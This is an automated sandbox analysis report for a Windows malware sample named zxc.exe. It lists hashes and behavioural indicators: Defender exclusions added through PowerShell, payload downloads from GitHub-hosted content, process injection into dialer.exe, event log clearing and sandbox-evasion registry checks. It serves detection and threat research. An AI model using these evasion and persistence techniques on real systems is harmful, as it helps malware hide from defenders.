Analysis
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max time kernel
1800s -
max time network
1791s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-11-2024 19:36
Static task
static1
Behavioral task
behavioral1
Sample
zxc.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral2
Sample
zxc.exe
Resource
win7-20241010-en
Behavioral task
behavioral3
Sample
zxc.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral4
Sample
zxc.exe
Resource
win10ltsc2021-20241023-en
Behavioral task
behavioral5
Sample
zxc.exe
Resource
win11-20241023-en
General
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Target
zxc.exe
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Size
6KB
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MD5
1037e4868002ea28986b067e602219d5
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SHA1
eb606ee00af1c8e3982d827819feb020e552602e
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SHA256
cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706
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SHA512
4924969ef9398f3a45ada5dfbaeab93d92d761100fd174075b53fbfe116738b31bc338a904a102631a7239ee8f82b8bd3ca222053385fb686820ef543ea6e183
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SSDEEP
96:TH79mNb60qvjnMmt3VI9dXlO5NzO6M8Ac/h6zanF3d3oj4rl:P9gqvjn3QdXlWNzOH8Ac/hT3d/
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 8 1384 powershell.exe 10 1384 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3648 powershell.exe 2780 powershell.exe -
Creates new service(s) 2 TTPs
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Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation zxc.exe -
Executes dropped EXE 2 IoCs
pid Process 3040 xdwd.exe 4164 Updater32.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Setup.evtx svchost.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 raw.githubusercontent.com 10 raw.githubusercontent.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3536 powercfg.exe 4336 powercfg.exe 3856 powercfg.exe 60 powercfg.exe 3684 powercfg.exe 3476 powercfg.exe 4488 powercfg.exe 4648 powercfg.exe -
Drops file in System32 directory 17 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\MRT.exe xdwd.exe File opened for modification C:\Windows\system32\MRT.exe Updater32.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3040 set thread context of 4272 3040 xdwd.exe 112 PID 4164 set thread context of 4764 4164 Updater32.exe 144 PID 4164 set thread context of 1580 4164 Updater32.exe 145 PID 4164 set thread context of 2680 4164 Updater32.exe 150 -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edbtmp.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4900 sc.exe 4044 sc.exe 2432 sc.exe 4176 sc.exe 1972 sc.exe 2624 sc.exe 3832 sc.exe 4836 sc.exe 5084 sc.exe 3368 sc.exe 1932 sc.exe 4916 sc.exe 5104 sc.exe 2136 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe -
Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00180011DE87A725" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={028F791C-9EDF-47B3-B697-8CBCC2DA956D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00180011DE87A725 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d976ac2283a19d4e9f4d3ff13c895994000000000200000000001066000000010000200000005e4ce7172e577a33f6ef22c63dfb0d3c5e7afe366be54b5d3c8464934f45ce1e000000000e8000000002000020000000bb8364841ef4bacbc991555d60bf0bee59aa21ac76838cb80523fc20e0ce73d780000000d35c50065c489a8841ede9e64b9380f54568949bdf2f902be5ea06c0aea97b4ab2aa6ceb18de1ded1b649b95ee0e5e981ab47bc7235ef5d999aa95e2f5705c226ec91ae845e16b5e042ed2873b23ae0bf1c90c788d380cdaf4e2f64491fc836aeed8253dce07388f05352185506495e172d84426363e190168661160456649db40000000dbae7ea32b98b62524dc791853e877187be86b7b45a5eb78fa08d3b968d438df6256cf1e4a673d41d50b1666e12349c5140d8f0d7ec2d85ea7bba4edb7ea7ca3 mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732218668" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 21 Nov 2024 19:51:09 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00180011DE87A725" mousocoreworker.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d976ac2283a19d4e9f4d3ff13c8959940000000002000000000010660000000100002000000057494e9c35ef4370be0b60faf0aaa9b44429258afc31f2bbb64f9e57514e993e000000000e8000000002000020000000c3ef44a0ef7e1b874c4a71f5c06eeb3045d2e7e7d3b726ffa12c2a36d8cf2fc2b0030000f210801245bb502fd624210a0655546502d4b366d206809425724c4de419fdf5d76f425a795e3eb681f84b980b695a9399d0c0e364e1c8852102384152976ead37b6b80e295323e07fe0e9a5affa6d63ab55f9364d5713abc5ce1bbff889223546ab2db7920938258b36de684cbb4026177bb0f24882db71c2cf353d440a4732b96556a68f2485f5a7145c768089268831d7f8448d68d4f24801cf959312c3cf53457063be4db71e34638b75045107e06174fbceb49f5f5b29a9e2bf782dda0279a40bbd03f2eb742dcd9ddc26de5b1a3d13b4441a1da926eafe813eb451f30a4a4958f91469d801dc496db708f974d8edbfb805fe2deb8722cda94e0e2f0950b5edf67e97d5725b184ae88877555752972466e47c4d1e412daadf46829967c603c8c5796eb622c613b61b6b53aba0f62770fa182acac79fde43c3b136bd93818684a38b90b4cfc9e79f74742ce3f21b5c583a392f302211b836a0d619eeb8392a1bb38b6968501a9983f62ca31cae287d449b1ca16988f13bf216fc3f779487a953a2efd2b5b86221f5810f72576ef5e95a196bff76498b313db4d0017cb5f0f4f4ccc7c201ddfd77db57674d21e1e03c4eedfbf6855ccfdfabb8c79654dfc05db6f3558a7c6fba9b085706c6f3938e491d0cf74cc1bd195bcc4cae30134898914c334c660b68440290925415adbd215e132e60336c3b614017be15b66c64887646f59d2447f76121355d6c96bf1a797201ceeed18824ebd689564841b9effeb8e1bb0842358e7dfd9302bf63afaa1e90782c0a2f7e73912f702b21cdcd3f96eb490a5a4c4361de88a1668c9d79a8e4e3f50a605f13776fb7d26c14f5fe20121acbf97639b1a8a42f8c83b9bb9be94c83c95f538bf33e6756b10f557d12ebcfa94304f63f0750ec6e14d2e2eb1a710c0fd4f59458096b8fe0737e20db8641fe7495139d458413530c6d41f7a438789e84ffc7b36ecb496580289132cde0eea76676d08bf9c1d6046afa405ec9d7d8428e7851b5757254960dd703806c32d5218157f073e72c740e8ed79710a82393cc6977a1d540f0989fbbc883b889b7576304ae3ce2e27022253e50d4b25ea0d13702a701782f51a91ff4be05c8b015b0feb919e1669684fa3fc07a9be2362367133f9c0cf6d6f5a22936d24bfbb5fa95186fc119af29a9ae846d5bd75897ca07c1c9503395acdb9faf1a4309079f75bb6c6a0c3f719ff79ac6d2b6a3cefa401b39fb3cc7014458ecf3707bee67af4501792263087be5f8f2caf746f2f932a9fa0c8bd82c50947ceae91449fe9cf0e0d3748b3bce004419afb91cf7f56b83b7c76e40000000dcf3e71e6817f021d427c5f6db64f00288e904ff05637163f1eb9879c8f55d447889e8fb6b704a58d2c4fc1400763bb76f5c06970e7a355ce48a02ca67312b8f mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1384 powershell.exe 1384 powershell.exe 3040 xdwd.exe 2780 powershell.exe 2780 powershell.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 3040 xdwd.exe 3040 xdwd.exe 3040 xdwd.exe 4164 Updater32.exe 3648 powershell.exe 3648 powershell.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 3648 powershell.exe 4272 dialer.exe 4272 dialer.exe 3648 powershell.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 3648 powershell.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 3648 powershell.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe 4272 dialer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1384 powershell.exe Token: SeDebugPrivilege 2780 powershell.exe Token: SeDebugPrivilege 3040 xdwd.exe Token: SeDebugPrivilege 4272 dialer.exe Token: SeShutdownPrivilege 4336 powercfg.exe Token: SeCreatePagefilePrivilege 4336 powercfg.exe Token: SeShutdownPrivilege 3684 powercfg.exe Token: SeCreatePagefilePrivilege 3684 powercfg.exe Token: SeShutdownPrivilege 3856 powercfg.exe Token: SeCreatePagefilePrivilege 3856 powercfg.exe Token: SeShutdownPrivilege 60 powercfg.exe Token: SeCreatePagefilePrivilege 60 powercfg.exe Token: SeDebugPrivilege 3648 powershell.exe Token: SeDebugPrivilege 4164 Updater32.exe Token: SeDebugPrivilege 4764 dialer.exe Token: SeShutdownPrivilege 3476 powercfg.exe Token: SeCreatePagefilePrivilege 3476 powercfg.exe Token: SeLockMemoryPrivilege 2680 dialer.exe Token: SeShutdownPrivilege 4488 powercfg.exe Token: SeCreatePagefilePrivilege 4488 powercfg.exe Token: SeShutdownPrivilege 3536 powercfg.exe Token: SeCreatePagefilePrivilege 3536 powercfg.exe Token: SeShutdownPrivilege 4648 powercfg.exe Token: SeCreatePagefilePrivilege 4648 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 2080 svchost.exe Token: SeIncreaseQuotaPrivilege 2080 svchost.exe Token: SeSecurityPrivilege 2080 svchost.exe Token: SeTakeOwnershipPrivilege 2080 svchost.exe Token: SeLoadDriverPrivilege 2080 svchost.exe Token: SeSystemtimePrivilege 2080 svchost.exe Token: SeBackupPrivilege 2080 svchost.exe Token: SeRestorePrivilege 2080 svchost.exe Token: SeShutdownPrivilege 2080 svchost.exe Token: SeSystemEnvironmentPrivilege 2080 svchost.exe Token: SeUndockPrivilege 2080 svchost.exe Token: SeManageVolumePrivilege 2080 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2080 svchost.exe Token: SeIncreaseQuotaPrivilege 2080 svchost.exe Token: SeSecurityPrivilege 2080 svchost.exe Token: SeTakeOwnershipPrivilege 2080 svchost.exe Token: SeLoadDriverPrivilege 2080 svchost.exe Token: SeSystemtimePrivilege 2080 svchost.exe Token: SeBackupPrivilege 2080 svchost.exe Token: SeRestorePrivilege 2080 svchost.exe Token: SeShutdownPrivilege 2080 svchost.exe Token: SeSystemEnvironmentPrivilege 2080 svchost.exe Token: SeUndockPrivilege 2080 svchost.exe Token: SeManageVolumePrivilege 2080 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2080 svchost.exe Token: SeIncreaseQuotaPrivilege 2080 svchost.exe Token: SeSecurityPrivilege 2080 svchost.exe Token: SeTakeOwnershipPrivilege 2080 svchost.exe Token: SeLoadDriverPrivilege 2080 svchost.exe Token: SeSystemtimePrivilege 2080 svchost.exe Token: SeBackupPrivilege 2080 svchost.exe Token: SeRestorePrivilege 2080 svchost.exe Token: SeShutdownPrivilege 2080 svchost.exe Token: SeSystemEnvironmentPrivilege 2080 svchost.exe Token: SeUndockPrivilege 2080 svchost.exe Token: SeManageVolumePrivilege 2080 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2080 svchost.exe Token: SeIncreaseQuotaPrivilege 2080 svchost.exe Token: SeSecurityPrivilege 2080 svchost.exe Token: SeTakeOwnershipPrivilege 2080 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
